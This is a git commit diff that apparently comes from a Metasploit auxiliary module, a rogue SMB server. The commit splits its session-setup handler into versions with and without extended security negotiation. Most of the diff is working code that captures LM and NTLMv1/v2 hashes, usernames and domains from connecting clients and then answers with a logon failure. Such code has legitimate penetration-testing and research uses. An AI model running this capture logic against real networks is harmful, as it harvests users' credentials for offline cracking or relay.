Split smb_cmd_session_setup into with/without esn

Extended Security Negotiation
bug/bundler_fix
James Lee 2015-01-16 07:05:10 -06:00
parent 6b6a7e81c9
commit 488847cecc
No known key found for this signature in database
GPG Key ID: 2D6094C7CEA0A321
1 changed files with 172 additions and 174 deletions

View File

@ -122,11 +122,11 @@ class Metasploit3 < Msf::Auxiliary
#CIFS SMB_COM_SESSION_SETUP_ANDX request without smb extended security #CIFS SMB_COM_SESSION_SETUP_ANDX request without smb extended security
#This packet contains the lm/ntlm hashes #This packet contains the lm/ntlm hashes
if wordcount == 0x0D if wordcount == 0x0D
smb_cmd_session_setup(c, buff, false) smb_cmd_session_setup(c, buff)
#CIFS SMB_COM_SESSION_SETUP_ANDX request with smb extended security #CIFS SMB_COM_SESSION_SETUP_ANDX request with smb extended security
# can be of type NTLMSS_NEGOCIATE or NTLMSSP_AUTH, # can be of type NTLMSS_NEGOCIATE or NTLMSSP_AUTH,
elsif wordcount == 0x0C elsif wordcount == 0x0C
smb_cmd_session_setup(c, buff, true) smb_cmd_session_setup_with_esn(c, buff)
else else
print_status("SMB Capture - #{smb[:ip]} Unknown SMB_COM_SESSION_SETUP_ANDX request type , ignoring... ") print_status("SMB Capture - #{smb[:ip]} Unknown SMB_COM_SESSION_SETUP_ANDX request type , ignoring... ")
smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS, @s_smb_esn) smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS, @s_smb_esn)
@ -200,18 +200,70 @@ class Metasploit3 < Msf::Auxiliary
c.put(pkt.to_s) c.put(pkt.to_s)
end end
def smb_cmd_session_setup(c, buff, esn) def smb_cmd_session_setup(c, buff)
smb = @state[c]
pkt = CONST::SMB_SETUP_NTLMV1_PKT.make_struct
pkt.from_s(buff)
lm_len = pkt['Payload'].v['PasswordLenLM'] # Always 24
nt_len = pkt['Payload'].v['PasswordLenNT']
if nt_len == 24
arg = {
:ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE,
:lm_hash => pkt['Payload'].v['Payload'][0, lm_len].unpack("H*")[0],
:nt_hash => pkt['Payload'].v['Payload'][lm_len, nt_len].unpack("H*")[0]
}
# if the length of the ntlm response is not 24 then it will be bigger
# and represent an NTLMv2 response
elsif nt_len > 24
arg = {
:ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE,
:lm_hash => pkt['Payload'].v['Payload'][0, 16].unpack("H*")[0],
:lm_cli_challenge => pkt['Payload'].v['Payload'][16, 8].unpack("H*")[0],
:nt_hash => pkt['Payload'].v['Payload'][lm_len, 16].unpack("H*")[0],
:nt_cli_challenge => pkt['Payload'].v['Payload'][lm_len + 16, nt_len - 16].unpack("H*")[0]
}
elsif nt_len == 0
print_status("SMB Capture - Empty hash captured from #{smb[:name]} - #{smb[:ip]} captured, ignoring ... ")
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
return
else
print_status("SMB Capture - Unknown hash type capture from #{smb[:name]} - #{smb[:ip]}, ignoring ...")
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
return
end
buff = pkt['Payload'].v['Payload']
buff.slice!(0, lm_len + nt_len)
names = buff.split("\x00\x00").map { |x| x.gsub(/\x00/, '') }
smb[:username] = names[0]
smb[:domain] = names[1]
smb[:peer_os] = names[2]
smb[:peer_lm] = names[3]
begin
smb_get_hash(smb,arg,false)
rescue ::Exception => e
print_error("SMB Capture - Error processing Hash from #{smb[:name]} : #{e.class} #{e} #{e.backtrace}")
end
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
end
def smb_cmd_session_setup_with_esn(c, buff)
smb = @state[c] smb = @state[c]
# extended security has been negotiated
if esn
pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct
pkt.from_s(buff) pkt.from_s(buff)
securityblobLen = pkt['Payload'].v['SecurityBlobLen'] securityblobLen = pkt['Payload'].v['SecurityBlobLen']
blob = pkt['Payload'].v['Payload'][0,securityblobLen] blob = pkt['Payload'].v['Payload'][0,securityblobLen]
#detect if GSS is being used # detect if GSS is being used
if blob[0,7] == 'NTLMSSP' if blob[0,7] == 'NTLMSSP'
c_gss = false c_gss = false
else else
@ -230,7 +282,7 @@ class Metasploit3 < Msf::Auxiliary
case ntlm_message case ntlm_message
when NTLM_MESSAGE::Type1 when NTLM_MESSAGE::Type1
#Send Session Setup AndX Response NTLMSSP_CHALLENGE response packet # Send Session Setup AndX Response NTLMSSP_CHALLENGE response packet
if (ntlm_message.flag & NTLM_CONST::NEGOTIATE_NTLM2_KEY) != 0 if (ntlm_message.flag & NTLM_CONST::NEGOTIATE_NTLM2_KEY) != 0
c_ntlm_esn = true c_ntlm_esn = true
@ -257,11 +309,11 @@ class Metasploit3 < Msf::Auxiliary
dns_domain = Rex::Text.to_unicode(@domain_name.downcase) dns_domain = Rex::Text.to_unicode(@domain_name.downcase)
dns_name = Rex::Text.to_unicode(@domain_name.downcase) dns_name = Rex::Text.to_unicode(@domain_name.downcase)
#create the ntlmssp_challenge security blob # create the ntlmssp_challenge security blob
if c_ntlm_esn && @s_ntlm_esn if c_ntlm_esn && @s_ntlm_esn
sb_flag = 0xe28a8215 # ntlm2 sb_flag = 0xe28a8215 # ntlm2
else else
sb_flag = 0xe2828215 #no ntlm2 sb_flag = 0xe2828215 # no ntlm2
end end
if c_gss if c_gss
securityblob = NTLM_UTILS::make_ntlmssp_secblob_chall( securityblob = NTLM_UTILS::make_ntlmssp_secblob_chall(
@ -343,62 +395,8 @@ class Metasploit3 < Msf::Auxiliary
else else
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
end end
# if not, we can get the hash and send a status_access_denied response packet
else
pkt = CONST::SMB_SETUP_NTLMV1_PKT.make_struct
pkt.from_s(buff)
lm_len = pkt['Payload'].v['PasswordLenLM'] # Always 24
nt_len = pkt['Payload'].v['PasswordLenNT']
if nt_len == 24
arg = {
:ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE,
:lm_hash => pkt['Payload'].v['Payload'][0, lm_len].unpack("H*")[0],
:nt_hash => pkt['Payload'].v['Payload'][lm_len, nt_len].unpack("H*")[0]
}
# if the length of the ntlm response is not 24 then it will be bigger
# and represent an NTLMv2 response
elsif nt_len > 24
arg = {
:ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE,
:lm_hash => pkt['Payload'].v['Payload'][0, 16].unpack("H*")[0],
:lm_cli_challenge => pkt['Payload'].v['Payload'][16, 8].unpack("H*")[0],
:nt_hash => pkt['Payload'].v['Payload'][lm_len, 16].unpack("H*")[0],
:nt_cli_challenge => pkt['Payload'].v['Payload'][lm_len + 16, nt_len - 16].unpack("H*")[0]
}
elsif nt_len == 0
print_status("SMB Capture - Empty hash captured from #{smb[:name]} - #{smb[:ip]} captured, ignoring ... ")
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
return
else
print_status("SMB Capture - Unknown hash type capture from #{smb[:name]} - #{smb[:ip]}, ignoring ...")
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
return
end end
buff = pkt['Payload'].v['Payload']
buff.slice!(0, lm_len + nt_len)
names = buff.split("\x00\x00").map { |x| x.gsub(/\x00/, '') }
smb[:username] = names[0]
smb[:domain] = names[1]
smb[:peer_os] = names[2]
smb[:peer_lm] = names[3]
begin
smb_get_hash(smb,arg,false)
rescue ::Exception => e
print_error("SMB Capture - Error processing Hash from #{smb[:name]} : #{e.class} #{e} #{e.backtrace}")
end
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
end
end
def smb_get_hash(smb, arg = {}, esn=true) def smb_get_hash(smb, arg = {}, esn=true)